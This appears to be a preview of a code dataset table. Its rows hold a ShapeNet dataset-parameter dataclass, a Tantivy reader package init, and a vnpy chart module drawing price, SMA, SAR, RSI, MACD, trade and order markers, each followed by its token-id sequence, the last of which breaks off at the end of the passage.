max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
e3d/synth_dataset/params.py | ZiyunClaudeWang/e3d | 9 | 193681 | from dataclasses import dataclass, field
from utils.params import ParamsBase
shapenet_synset_map = {
'car': '02958343',
'chair': '02691156',
'plane': '03001627'
}
@dataclass
class Params(ParamsBase):
gpu_num: int
name: str
config_file: str = ""
# Dataset Generation Params
img_size: tuple = (280, 280)
sigma_hand: float = 0.15
mesh_translation: float = .1
variation: list = field(default_factory=lambda: ['dist', 'elev'])
pepper: list = field(default_factory=lambda: ['elev'])
random_start: list = field(default_factory=lambda: ['dist', 'azim'])
## Dataset Size
mini_batch: int = 72
batch_size: int = 360
data_batch_size: int = 45
mesh_iter: int = 4 #Iterations of data loop per mesh
show_frame: bool = False
#Mesh info
mesh_path: str = "../data/meshes/dolphin/dolphin.obj"
## Shapenet info
shapenet: bool = True
category: str = "car"
synsets: dict = field(default_factory=lambda:shapenet_synset_map)
shapenet_path: str = "../data/ShapeNetCorev2"
| [
1,
515,
848,
13203,
1053,
848,
1990,
29892,
1746,
13,
13,
3166,
3667,
29879,
29889,
7529,
1053,
1459,
2232,
5160,
13,
13,
845,
481,
264,
300,
29918,
19274,
842,
29918,
1958,
353,
426,
13,
1678,
525,
4287,
2396,
525,
29900,
29906,
29929,
29945,
29947,
29941,
29946,
29941,
742,
13,
1678,
525,
305,
1466,
2396,
525,
29900,
29906,
29953,
29929,
29896,
29896,
29945,
29953,
742,
13,
1678,
525,
22116,
2396,
525,
29900,
29941,
29900,
29900,
29896,
29953,
29906,
29955,
29915,
13,
29913,
13,
13,
29992,
1272,
1990,
13,
1990,
1459,
2232,
29898,
9629,
5160,
1125,
13,
13,
1678,
330,
3746,
29918,
1949,
29901,
938,
13,
308,
13,
1678,
1024,
29901,
851,
13,
1678,
2295,
29918,
1445,
29901,
851,
353,
5124,
13,
308,
13,
1678,
396,
13373,
24541,
28203,
1459,
2232,
13,
1678,
10153,
29918,
2311,
29901,
18761,
353,
313,
29906,
29947,
29900,
29892,
29871,
29906,
29947,
29900,
29897,
13,
1678,
269,
2934,
29918,
3179,
29901,
5785,
353,
29871,
29900,
29889,
29896,
29945,
13,
1678,
27716,
29918,
3286,
18411,
29901,
5785,
353,
869,
29896,
13,
1678,
19262,
29901,
1051,
353,
1746,
29898,
4381,
29918,
14399,
29922,
2892,
29901,
6024,
5721,
742,
525,
29872,
2608,
11287,
13,
1678,
1236,
2496,
29901,
1051,
353,
1746,
29898,
4381,
29918,
14399,
29922,
2892,
29901,
6024,
29872,
2608,
11287,
13,
1678,
4036,
29918,
2962,
29901,
1051,
353,
1746,
29898,
4381,
29918,
14399,
29922,
2892,
29901,
6024,
5721,
742,
525,
834,
326,
11287,
13,
308,
13,
1678,
444,
13373,
24541,
21179,
13,
1678,
20629,
29918,
16175,
29901,
938,
353,
29871,
29955,
29906,
13,
1678,
9853,
29918,
2311,
29901,
938,
353,
29871,
29941,
29953,
29900,
13,
1678,
848,
29918,
16175,
29918,
2311,
29901,
938,
353,
29871,
29946,
29945,
13,
1678,
27716,
29918,
1524,
29901,
938,
353,
29871,
29946,
396,
13463,
800,
310,
848,
2425,
639,
27716,
13,
13,
1678,
1510,
29918,
2557,
29901,
6120,
353,
7700,
13,
268,
13,
1678,
396,
29924,
12094,
5235,
13,
1678,
27716,
29918,
2084,
29901,
851,
353,
376,
6995,
1272,
29914,
4467,
13244,
29914,
29881,
22138,
262,
29914,
29881,
22138,
262,
29889,
5415,
29908,
13,
1678,
444,
1383,
481,
264,
300,
5235,
13,
1678,
528,
481,
264,
300,
29901,
6120,
353,
5852,
13,
1678,
7663,
29901,
851,
353,
376,
4287,
29908,
13,
1678,
5222,
7224,
29901,
9657,
353,
1746,
29898,
4381,
29918,
14399,
29922,
2892,
29901,
845,
481,
264,
300,
29918,
19274,
842,
29918,
1958,
29897,
13,
1678,
528,
481,
264,
300,
29918,
2084,
29901,
851,
353,
376,
6995,
1272,
29914,
24111,
6779,
9203,
29894,
29906,
29908,
13,
308,
13,
13,
2
] |
tantipy/__init__.py | izihawa/tantipy | 0 | 1607789 | <reponame>izihawa/tantipy
from .tantivy_coder import (
TantivyCoder,
TantivyDocument,
)
from .tantivy_reader import TantivyReader
__all__ = ['TantivyCoder', 'TantivyDocument', 'TantivyReader']
| [
1,
529,
276,
1112,
420,
29958,
466,
4861,
10011,
29914,
29873,
424,
666,
29891,
13,
3166,
869,
29873,
424,
440,
29891,
29918,
29883,
6119,
1053,
313,
13,
1678,
323,
424,
440,
29891,
29907,
6119,
29892,
13,
1678,
323,
424,
440,
29891,
6268,
29892,
13,
29897,
13,
3166,
869,
29873,
424,
440,
29891,
29918,
16950,
1053,
323,
424,
440,
29891,
6982,
13,
13,
1649,
497,
1649,
353,
6024,
29911,
424,
440,
29891,
29907,
6119,
742,
525,
29911,
424,
440,
29891,
6268,
742,
525,
29911,
424,
440,
29891,
6982,
2033,
13,
2
] |
vnpy/extension/chart/item.py | asciili/vnpy | 0 | 166127 | <filename>vnpy/extension/chart/item.py
from datetime import datetime
from typing import List, Tuple, Dict
from vnpy.trader.ui import create_qapp, QtCore, QtGui, QtWidgets
from pyqtgraph import ScatterPlotItem
import pyqtgraph as pg
import numpy as np
import talib
import copy
from vnpy.chart import ChartWidget, VolumeItem, CandleItem
from vnpy.chart.item import ChartItem
from vnpy.chart.manager import BarManager
from vnpy.trader.utility import ArrayManager
from vnpy.trader.object import (
BarData,
OrderData,
TradeData
)
from vnpy.trader.object import Direction, Exchange, Interval, Offset, Status, Product, OptionType, OrderType
from collections import OrderedDict
import pytz
CHINA_TZ = pytz.timezone("Asia/Shanghai")
class ExCandleItem(CandleItem):
def __init__(self, manager: BarManager):
""""""
super().__init__(manager)
def get_info_text(self, ix: int) -> str:
"""
Get information text to show by cursor.
"""
bar = self._manager.get_bar(ix)
if bar:
words = [
"Open",
str(bar.open_price),
]
text = ":".join(words)
else:
text = ""
return text
class ExChartItem(ChartItem):
""""""
def __init__(self, manager: BarManager, am: ArrayManager):
""""""
super().__init__(manager)
self.am = am
self.values = None
def update_values(self):
"""
Update value.
"""
pass
def update_history(self, history: List[BarData]) -> BarData:
"""
Update a list of bar data.
"""
self.update_values()
super().update_history(history)
def update_bar(self, bar: BarData) -> None:
"""
Update single bar data.
"""
self.update_values()
super().update_bar(bar)
def boundingRect(self) -> QtCore.QRectF:
""""""
min_price, max_price = self._manager.get_price_range()
rect = QtCore.QRectF(
0,
min_price,
len(self._bar_picutures),
max_price - min_price
)
return rect
def get_y_range(self, min_ix: int = None, max_ix: int = None) -> Tuple[float, float]:
"""
Get range of y-axis with given x-axis range.
If min_ix and max_ix not specified, then return range with whole data set.
"""
min_price, max_price = self._manager.get_price_range(min_ix, max_ix)
return min_price, max_price
class LineItem(ExChartItem):
""""""
def __init__(self, manager: BarManager, am : ArrayManager):
""""""
super().__init__(manager, am)
self.white_pen: QtGui.QPen = pg.mkPen(color=(255, 255, 255), width=1)
def _draw_bar_picture(self, ix: int, bar: BarData) -> QtGui.QPicture:
""""""
last_bar = self._manager.get_bar(ix - 1)
# Create objects
picture = QtGui.QPicture()
painter = QtGui.QPainter(picture)
# Set painter color
painter.setPen(self.white_pen)
# Draw Line
end_point = QtCore.QPointF(ix, bar.close_price)
if last_bar:
start_point = QtCore.QPointF(ix - 1, last_bar.close_price)
else:
start_point = end_point
painter.drawLine(start_point, end_point)
# Finish
painter.end()
return picture
def get_info_text(self, ix: int) -> str:
""""""
text = ""
bar = self._manager.get_bar(ix)
if bar:
text = f"Close:{bar.close_price}"
return text
class SmaItem(ExChartItem):
""""""
def __init__(self, manager: BarManager, am : ArrayManager):
""""""
super().__init__(manager, am)
self.blue_pen: QtGui.QPen = pg.mkPen(color=(100, 100, 255), width=2)
self.window = 10
def update_values(self):
"""
Update value
"""
self.values = talib.SMA(self.am.close[-self.am.count:],self.window)
def _draw_bar_picture(self, ix: int, bar: BarData) -> QtGui.QPicture:
""""""
value = self.values[ix]
last_value = self.values[ix - 1]
# Create objects
picture = QtGui.QPicture()
painter = QtGui.QPainter(picture)
# Set painter color
painter.setPen(self.blue_pen)
# Draw Line
if np.isnan(last_value) or np.isnan(value):
# print(ix - 1, last_value,ix, value,)
pass
else:
start_point = QtCore.QPointF(ix-1, last_value)
end_point = QtCore.QPointF(ix, value)
painter.drawLine(start_point, end_point)
# Finish
painter.end()
return picture
def get_info_text(self, ix: int) -> str:
""""""
if ix > 0:
text = f"SMA {self.values[ix]:.1f}"
else:
text = "SMA -"
return text
class SarItem(ExChartItem):
""""""
def __init__(self, manager: BarManager, am : ArrayManager, acceleration:float = 0.02, maximum:float = 0.2):
""""""
super().__init__(manager, am)
self.yellow_pen: QtGui.QPen = pg.mkPen(color=(255, 255, 0), width=2)
self.yellow_brush: QtGui.QBrush = pg.mkBrush(color=(255, 255, 0))
self.acceleration = acceleration
self.maximum = maximum
def update_values(self):
"""
Update value
"""
self.values = talib.SAR(self.am.high[-self.am.count:], self.am.low[-self.am.count:], self.acceleration, self.maximum)
def _draw_bar_picture(self, ix: int, bar: BarData) -> QtGui.QPicture:
""""""
value = self.values[ix]
last_value = self.values[ix - 1]
# Create objects
picture = QtGui.QPicture()
painter = QtGui.QPainter(picture)
# Set painter color
painter.setPen(self.yellow_pen)
# painter.setBrush(self.yellow_brush)
# Draw Line
if np.isnan(last_value) or np.isnan(value):
# print(ix - 1, last_value,ix, value,)
pass
else:
start_point = QtCore.QPointF(ix-1, last_value)
end_point = QtCore.QPointF(ix, value)
painter.drawLine(start_point, end_point)
# Draw Circle
# painter.drawEllipse(QtCore.QPointF(ix, self.values[ix]), 2, 2)
# Finish
painter.end()
return picture
def get_info_text(self, ix: int) -> str:
""""""
if ix >= 0:
text = f"SAR {self.values[ix]:.1f}"
else:
text = "SAR -"
return text
class RsiItem(ExChartItem):
""""""
def __init__(self, manager: BarManager, am : ArrayManager):
""""""
super().__init__(manager, am)
self.white_pen: QtGui.QPen = pg.mkPen(color=(255, 255, 255), width=1)
self.yellow_pen: QtGui.QPen = pg.mkPen(color=(255, 255, 0), width=2)
self.rsi_window = 14
def update_values(self):
"""
Update value
"""
self.values = talib.RSI(self.am.close[-self.am.count:], self.rsi_window)
def _draw_bar_picture(self, ix: int, bar: BarData) -> QtGui.QPicture:
""""""
rsi_value = self.values[ix]
last_rsi_value = self.values[ix - 1]
# Create objects
picture = QtGui.QPicture()
painter = QtGui.QPainter(picture)
# Draw RSI line
painter.setPen(self.yellow_pen)
if np.isnan(last_rsi_value) or np.isnan(rsi_value):
# print(ix - 1, last_rsi_value,ix, rsi_value,)
pass
else:
end_point = QtCore.QPointF(ix, rsi_value)
start_point = QtCore.QPointF(ix - 1, last_rsi_value)
painter.drawLine(start_point, end_point)
# Draw oversold/overbought line
painter.setPen(self.white_pen)
painter.drawLine(
QtCore.QPointF(ix, 70),
QtCore.QPointF(ix - 1, 70),
)
painter.drawLine(
QtCore.QPointF(ix, 30),
QtCore.QPointF(ix - 1, 30),
)
# Finish
painter.end()
return picture
def boundingRect(self) -> QtCore.QRectF:
""""""
# min_price, max_price = self._manager.get_price_range()
rect = QtCore.QRectF(
0,
0,
len(self._bar_picutures),
100
)
return rect
def get_y_range( self, min_ix: int = None, max_ix: int = None) -> Tuple[float, float]:
""" """
return 0, 100
def get_info_text(self, ix: int) -> str:
""""""
if ix > 0:
rsi_value = self.values[ix]
text = f"RSI {rsi_value:.1f}"
# print(text)
else:
text = "RSI -"
return text
def to_int(value: float) -> int:
""""""
return int(round(value, 0))
""" 将y方向的显示范围扩大到1.1 """
def adjust_range(in_range:Tuple[float, float])->Tuple[float, float]:
ret_range:Tuple[float, float]
diff = abs(in_range[0] - in_range[1])
ret_range = (in_range[0]-diff*0.05,in_range[1]+diff*0.05)
return ret_range
class MacdItem(ExChartItem):
""""""
_values_ranges: Dict[Tuple[int, int], Tuple[float, float]] = {}
last_range:Tuple[int, int] = (-1,-1) # 最新显示K线索引范围
def __init__(self, manager: BarManager, am : ArrayManager):
""""""
super().__init__(manager, am)
self.white_pen: QtGui.QPen = pg.mkPen(color=(255, 255, 255), width=1)
self.yellow_pen: QtGui.QPen = pg.mkPen(color=(255, 255, 0), width=1)
self.red_pen: QtGui.QPen = pg.mkPen(color=(255, 0, 0), width=1)
self.green_pen: QtGui.QPen = pg.mkPen(color=(0, 255, 0), width=1)
self.short_window = 12
self.long_window = 26
self.M = 9
self.macd_data: Dict[int, Tuple[float,float,float]] = {}
def get_macd_value(self, ix: int) -> Tuple[float,float,float]:
""""""
if ix < 0:
return (0.0,0.0,0.0)
# When initialize, calculate all macd value
if not self.macd_data:
bars = self._manager.get_all_bars()
close_data = [bar.close_price for bar in bars]
diffs,deas,macds = talib.MACD(np.array(close_data),
fastperiod=self.short_window,
slowperiod=self.long_window,
signalperiod=self.M)
for n in range(0,len(diffs)):
self.macd_data[n] = (diffs[n],deas[n],macds[n])
# Return if already calcualted
if ix in self.macd_data:
return self.macd_data[ix]
# Else calculate new value
close_data = []
for n in range(ix-self.long_window-self.M+1, ix + 1):
bar = self._manager.get_bar(n)
close_data.append(bar.close_price)
diffs,deas,macds = talib.MACD(np.array(close_data),
fastperiod=self.short_window,
slowperiod=self.long_window,
signalperiod=self.M)
diff,dea,macd = diffs[-1],deas[-1],macds[-1]
self.macd_data[ix] = (diff,dea,macd)
return (diff,dea,macd)
def _draw_bar_picture(self, ix: int, bar: BarData) -> QtGui.QPicture:
""""""
macd_value = self.get_macd_value(ix)
last_macd_value = self.get_macd_value(ix - 1)
# # Create objects
picture = QtGui.QPicture()
painter = QtGui.QPainter(picture)
# # Draw macd lines
if np.isnan(macd_value[0]) or np.isnan(last_macd_value[0]):
# print("略过macd lines0")
pass
else:
end_point0 = QtCore.QPointF(ix, macd_value[0])
start_point0 = QtCore.QPointF(ix - 1, last_macd_value[0])
painter.setPen(self.white_pen)
painter.drawLine(start_point0, end_point0)
if np.isnan(macd_value[1]) or np.isnan(last_macd_value[1]):
# print("略过macd lines1")
pass
else:
end_point1 = QtCore.QPointF(ix, macd_value[1])
start_point1 = QtCore.QPointF(ix - 1, last_macd_value[1])
painter.setPen(self.yellow_pen)
painter.drawLine(start_point1, end_point1)
if not np.isnan(macd_value[2]):
if (macd_value[2]>0):
painter.setPen(self.red_pen)
painter.setBrush(pg.mkBrush(255,0,0))
else:
painter.setPen(self.green_pen)
painter.setBrush(pg.mkBrush(0,255,0))
painter.drawRect(QtCore.QRectF(ix-0.3,0,0.6,macd_value[2]))
else:
# print("略过macd lines2")
pass
painter.end()
return picture
def boundingRect(self) -> QtCore.QRectF:
""""""
min_y, max_y = self.get_y_range()
rect = QtCore.QRectF(
0,
min_y,
len(self._bar_picutures),
max_y
)
return rect
def get_y_range(self, min_ix: int = None, max_ix: int = None) -> Tuple[float, float]:
# 获得3个指标在y轴方向的范围
# hxxjava 修改,2020-6-29
# 当显示范围改变时,min_ix,max_ix的值不为None,当显示范围不变时,min_ix,max_ix的值不为None,
offset = max(self.short_window,self.long_window) + self.M - 1
if not self.macd_data or len(self.macd_data) < offset:
return 0.0, 1.0
# print("len of range dict:",len(self._values_ranges),",macd_data:",len(self.macd_data),(min_ix,max_ix))
if min_ix != None: # 调整最小K线索引
min_ix = max(min_ix,offset)
if max_ix != None: # 调整最大K线索引
max_ix = min(max_ix, len(self.macd_data)-1)
last_range = (min_ix,max_ix) # 请求的最新范围
if last_range == (None,None): # 当显示范围不变时
if self.last_range in self._values_ranges:
# 如果y方向范围已经保存
# 读取y方向范围
result = self._values_ranges[self.last_range]
# print("1:",self.last_range,result)
return adjust_range(result)
else:
# 如果y方向范围没有保存
# 从macd_data重新计算y方向范围
min_ix,max_ix = 0,len(self.macd_data)-1
macd_list = list(self.macd_data.values())[min_ix:max_ix + 1]
ndarray = np.array(macd_list)
max_price = np.nanmax(ndarray)
min_price = np.nanmin(ndarray)
# 保存y方向范围,同时返回结果
result = (min_price, max_price)
self.last_range = (min_ix,max_ix)
self._values_ranges[self.last_range] = result
# print("2:",self.last_range,result)
return adjust_range(result)
""" 以下为显示范围变化时 """
if last_range in self._values_ranges:
# 该范围已经保存过y方向范围
# 取得y方向范围,返回结果
result = self._values_ranges[last_range]
# print("3:",last_range,result)
return adjust_range(result)
# 该范围没有保存过y方向范围
# 从macd_data重新计算y方向范围
macd_list = list(self.macd_data.values())[min_ix:max_ix + 1]
ndarray = np.array(macd_list)
max_price = np.nanmax(ndarray)
min_price = np.nanmin(ndarray)
# 取得y方向范围,返回结果
result = (min_price, max_price)
self.last_range = last_range
self._values_ranges[self.last_range] = result
# print("4:",self.last_range,result)
return adjust_range(result)
def get_info_text(self, ix: int) -> str:
# """"""
if ix in self.macd_data:
diff,dea,macd = self.macd_data[ix]
words = [
f"diff {diff:.3f}"," ",
f"dea {dea:.3f}"," ",
f"macd {macd:.3f}"
]
text = "\n".join(words)
else:
text = "diff - \ndea - \nmacd -"
return text
class TradeItem(ScatterPlotItem,ExChartItem):
"""
成交单绘图部件
"""
def __init__(self, manager: BarManager, am : ArrayManager):
""""""
ScatterPlotItem.__init__(self)
# ExChartItem.__init__(self,manager)
# super(TradeItem,self).__init__(manager, am)
super(ExChartItem,self).__init__(manager, am)
self.blue_pen: QtGui.QPen = pg.mkPen(color=(100, 100, 255), width=2)
self.trades : Dict[int,Dict[str,TradeData]] = {} # {ix:{tradeid:trade}}
def add_trades(self,trades:List[TradeData]):
""" 增加成交单列表到TradeItem """
for trade in trades:
self.add_trade(trade)
self.set_scatter_data()
self.update()
def add_trade(self,trade:TradeData,draw:bool=False):
""" 增加一个成交单到TradeItem """
# 这里使用reverse=True,是考虑到实盘成交往往发生在最新的bar里,可以加快搜索速度
od = OrderedDict(sorted(self._manager._datetime_index_map.items(),key = lambda t:t[0],reverse=True))
idx = self._manager.get_count() - 1
for dt,ix in od.items():
# print(f"dt={dt}\ntrade.datetime {trade.datetime}")
dt1 = CHINA_TZ.localize(datetime.combine(dt.date(),dt.time()))
if dt1 <= trade.datetime:
# print(f"【dt={dt},dt1={dt1},dt2={trade.datetime} ix={ix}】")
idx = ix
break
# 注意:一个bar期间可能发生多个成交单
if idx in self.trades:
self.trades[idx][trade.tradeid] = trade
else:
self.trades[idx] = {trade.tradeid:trade}
if draw:
self.set_scatter_data()
self.update()
# print(f"add_trade idx={idx} trade={trade}")
def set_scatter_data(self):
""" 把成交单列表绘制到ScatterPlotItem上 """
scatter_datas = []
for ix in self.trades:
for trade in self.trades[ix].values():
scatter = {
"pos" : (ix, trade.price),
"data": 1,
"size": 14,
"pen": pg.mkPen((255, 255, 255)),
}
if trade.direction == Direction.LONG:
scatter_symbol = "t1" # Up arrow
else:
scatter_symbol = "t" # Down arrow
if trade.offset == Offset.OPEN:
scatter_brush = pg.mkBrush((255, 255, 0)) # Yellow
else:
scatter_brush = pg.mkBrush((0, 0, 255)) # Blue
scatter["symbol"] = scatter_symbol
scatter["brush"] = scatter_brush
scatter_datas.append(scatter)
self.setData(scatter_datas)
def get_info_text(self, ix: int) -> str:
""""""
if ix in self.trades:
text = "成交:"
for tradeid,trade in self.trades[ix].items():
# TradeData
text += f"\n{trade.price}{trade.direction.value}{trade.offset.value}{trade.volume}手"
else:
text = "成交:-"
return text
class OrderItem(ScatterPlotItem,ExChartItem):
"""
委托单绘图部件
"""
def __init__(self, manager: BarManager, am : ArrayManager):
""""""
ScatterPlotItem.__init__(self)
super(ExChartItem,self).__init__(manager, am)
self.orders : Dict[int,Dict[str,Order]] = {} # {ix:{orderid:order}}
def add_orders(self,orders:List[OrderData]):
""" 增加委托单列表到OrderItem """
for order in orders:
if order.datetime:
self.add_order(order)
self.set_scatter_data()
self.update()
def add_order(self,order:OrderData,draw:bool=False):
""" 增加一个委托单到OrderItem """
# 这里使用reverse=True,是考虑到实盘成交往往发生在最新的bar里,可以加快搜索速度
od = OrderedDict(sorted(self._manager._datetime_index_map.items(),key = lambda t:t[0],reverse=True))
idx = self._manager.get_count() - 1
for dt,ix in od.items():
# print(f"dt={dt}\ntrade.datetime {trade.datetime}")
dt1 = CHINA_TZ.localize(datetime.combine(dt.date(),dt.time()))
if dt1 <= order.datetime:
# print(f"【dt={dt},dt1={dt1},dt2={order.datetime} ix={ix}】")
idx = ix
break
# 注意:一个bar期间可能发生多个委托单
if idx in self.orders:
self.orders[idx][order.orderid] = order
else:
self.orders[idx] = {order.orderid:order}
if draw:
self.set_scatter_data()
self.update()
def set_scatter_data(self):
""" 把委托单列表绘制到ScatterPlotItem上 """
scatter_datas = []
for ix in self.orders:
lowest,highest=self.get_y_range()
# print(f"range={lowest,highest}")
for order in self.orders[ix].values():
# 处理委托报价超出显示范围的问题
if order.price>highest:
show_price = highest - 7
elif order.price<lowest:
show_price = lowest + 7
else:
show_price = order.price
scatter = {
"pos" : (ix, show_price),
"data": 1,
"size": 14,
"pen": pg.mkPen((255, 255, 255)),
}
if order.direction == Direction.LONG:
scatter_symbol = "t1" # Up arrow
else:
scatter_symbol = "t" # Down arrow
if order.offset == Offset.OPEN:
scatter_brush = pg.mkBrush((0, 128, 128)) # Yellow
else:
scatter_brush = pg.mkBrush((128, 128, 0)) # Blue
scatter["symbol"] = scatter_symbol
scatter["brush"] = scatter_brush
scatter_datas.append(scatter)
self.setData(scatter_datas)
def get_info_text(self, ix: int) -> str:
""""""
if ix in self.orders:
text = "委托:"
for orderid,order in self.orders[ix].items():
# OrderData
text += f"\n{order.price}{order.direction.value}{order.offset.value}{order.volume}手"
else:
text = "委托:-"
return text
| [
1,
529,
9507,
29958,
18564,
2272,
29914,
17588,
29914,
15425,
29914,
667,
29889,
2272,
13,
3166,
12865,
1053,
12865,
13,
3166,
19229,
1053,
2391,
29892,
12603,
552,
29892,
360,
919,
13,
13,
3166,
325,
29876,
2272,
29889,
509,
1664,
29889,
1481,
1053,
1653,
29918,
29939,
932,
29892,
14705,
9203,
29892,
14705,
28707,
29892,
14705,
8801,
29879,
13,
3166,
11451,
17915,
4262,
1053,
2522,
2620,
20867,
2001,
13,
5215,
11451,
17915,
4262,
408,
23822,
13,
5215,
12655,
408,
7442,
13,
5215,
5969,
747,
13,
5215,
3509,
13,
13,
3166,
325,
29876,
2272,
29889,
15425,
1053,
14477,
8801,
29892,
16934,
2001,
29892,
28433,
280,
2001,
13,
3166,
325,
29876,
2272,
29889,
15425,
29889,
667,
1053,
14477,
2001,
13,
3166,
325,
29876,
2272,
29889,
15425,
29889,
12847,
1053,
2261,
3260,
13,
13,
3166,
325,
29876,
2272,
29889,
509,
1664,
29889,
329,
1793,
1053,
4398,
3260,
13,
3166,
325,
29876,
2272,
29889,
509,
1664,
29889,
3318,
1053,
313,
13,
1678,
2261,
1469,
29892,
13,
1678,
8170,
1469,
29892,
13,
1678,
27226,
1469,
13,
29897,
13,
13,
3166,
325,
29876,
2272,
29889,
509,
1664,
29889,
3318,
1053,
360,
8684,
29892,
24004,
29892,
4124,
791,
29892,
5947,
842,
29892,
16034,
29892,
10969,
29892,
10831,
1542,
29892,
8170,
1542,
13,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
5215,
282,
3637,
29920,
13,
3210,
1177,
29909,
29918,
29911,
29999,
353,
282,
3637,
29920,
29889,
2230,
8028,
703,
2887,
423,
29914,
2713,
574,
23535,
1159,
13,
13,
1990,
1222,
29907,
392,
280,
2001,
29898,
29907,
392,
280,
2001,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29897,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
13,
4706,
3617,
2472,
1426,
304,
1510,
491,
10677,
29889,
13,
4706,
9995,
13,
4706,
2594,
353,
1583,
3032,
12847,
29889,
657,
29918,
1646,
29898,
861,
29897,
13,
13,
4706,
565,
2594,
29901,
13,
9651,
3838,
353,
518,
13,
462,
13,
18884,
376,
6585,
613,
13,
18884,
851,
29898,
1646,
29889,
3150,
29918,
9175,
511,
13,
9651,
4514,
13,
9651,
1426,
353,
29242,
1642,
7122,
29898,
9303,
29897,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
5124,
13,
13,
4706,
736,
1426,
13,
1990,
1222,
14732,
2001,
29898,
14732,
2001,
1125,
13,
1678,
9995,
15945,
29908,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
29901,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29897,
13,
4706,
1583,
29889,
314,
353,
626,
13,
4706,
1583,
29889,
5975,
353,
6213,
13,
1678,
822,
2767,
29918,
5975,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
10318,
995,
29889,
13,
4706,
9995,
13,
4706,
1209,
13,
13,
1678,
822,
2767,
29918,
18434,
29898,
1311,
29892,
4955,
29901,
2391,
29961,
4297,
1469,
2314,
1599,
2261,
1469,
29901,
13,
4706,
9995,
13,
4706,
10318,
263,
1051,
310,
2594,
848,
29889,
13,
4706,
9995,
13,
4706,
1583,
29889,
5504,
29918,
5975,
580,
13,
4706,
2428,
2141,
5504,
29918,
18434,
29898,
18434,
29897,
13,
13,
1678,
822,
2767,
29918,
1646,
29898,
1311,
29892,
2594,
29901,
2261,
1469,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
10318,
2323,
2594,
848,
29889,
13,
4706,
9995,
13,
4706,
1583,
29889,
5504,
29918,
5975,
580,
13,
4706,
2428,
2141,
5504,
29918,
1646,
29898,
1646,
29897,
13,
1678,
822,
3216,
292,
7364,
29898,
1311,
29897,
1599,
14705,
9203,
29889,
29984,
7364,
29943,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
1375,
29918,
9175,
29892,
4236,
29918,
9175,
353,
1583,
3032,
12847,
29889,
657,
29918,
9175,
29918,
3881,
580,
13,
4706,
7705,
353,
14705,
9203,
29889,
29984,
7364,
29943,
29898,
13,
632,
29900,
29892,
13,
9651,
1375,
29918,
9175,
29892,
13,
9651,
7431,
29898,
1311,
3032,
1646,
29918,
16447,
329,
1973,
511,
13,
9651,
4236,
29918,
9175,
448,
1375,
29918,
9175,
13,
4706,
1723,
13,
4706,
736,
7705,
13,
1678,
822,
679,
29918,
29891,
29918,
3881,
29898,
1311,
29892,
1375,
29918,
861,
29901,
938,
353,
6213,
29892,
4236,
29918,
861,
29901,
938,
353,
6213,
29897,
1599,
12603,
552,
29961,
7411,
29892,
5785,
5387,
13,
4706,
9995,
13,
4706,
3617,
3464,
310,
343,
29899,
8990,
411,
2183,
921,
29899,
8990,
3464,
29889,
13,
13,
4706,
960,
1375,
29918,
861,
322,
4236,
29918,
861,
451,
6790,
29892,
769,
736,
3464,
411,
3353,
848,
731,
29889,
13,
4706,
9995,
13,
4706,
1375,
29918,
9175,
29892,
4236,
29918,
9175,
353,
1583,
3032,
12847,
29889,
657,
29918,
9175,
29918,
3881,
29898,
1195,
29918,
861,
29892,
4236,
29918,
861,
29897,
13,
4706,
736,
1375,
29918,
9175,
29892,
4236,
29918,
9175,
13,
1990,
7407,
2001,
29898,
1252,
14732,
2001,
1125,
13,
1678,
9995,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
4706,
1583,
29889,
10921,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
511,
2920,
29922,
29896,
29897,
13,
13,
1678,
822,
903,
4012,
29918,
1646,
29918,
12095,
29898,
1311,
29892,
474,
29916,
29901,
938,
29892,
2594,
29901,
2261,
1469,
29897,
1599,
14705,
28707,
29889,
29984,
28210,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
1833,
29918,
1646,
353,
1583,
3032,
12847,
29889,
657,
29918,
1646,
29898,
861,
448,
29871,
29896,
29897,
13,
13,
4706,
396,
6204,
3618,
13,
4706,
7623,
353,
14705,
28707,
29889,
29984,
28210,
580,
13,
4706,
23187,
353,
14705,
28707,
29889,
29984,
29925,
475,
357,
29898,
12095,
29897,
13,
13,
4706,
396,
3789,
23187,
2927,
13,
4706,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
10921,
29918,
2238,
29897,
13,
13,
4706,
396,
18492,
7407,
13,
4706,
1095,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
2594,
29889,
5358,
29918,
9175,
29897,
13,
13,
4706,
565,
1833,
29918,
1646,
29901,
13,
9651,
1369,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
1646,
29889,
5358,
29918,
9175,
29897,
13,
4706,
1683,
29901,
13,
9651,
1369,
29918,
3149,
353,
1095,
29918,
3149,
13,
13,
4706,
23187,
29889,
4012,
3542,
29898,
2962,
29918,
3149,
29892,
1095,
29918,
3149,
29897,
13,
13,
4706,
396,
4231,
728,
13,
4706,
23187,
29889,
355,
580,
13,
4706,
736,
7623,
13,
13,
1678,
822,
679,
29918,
3888,
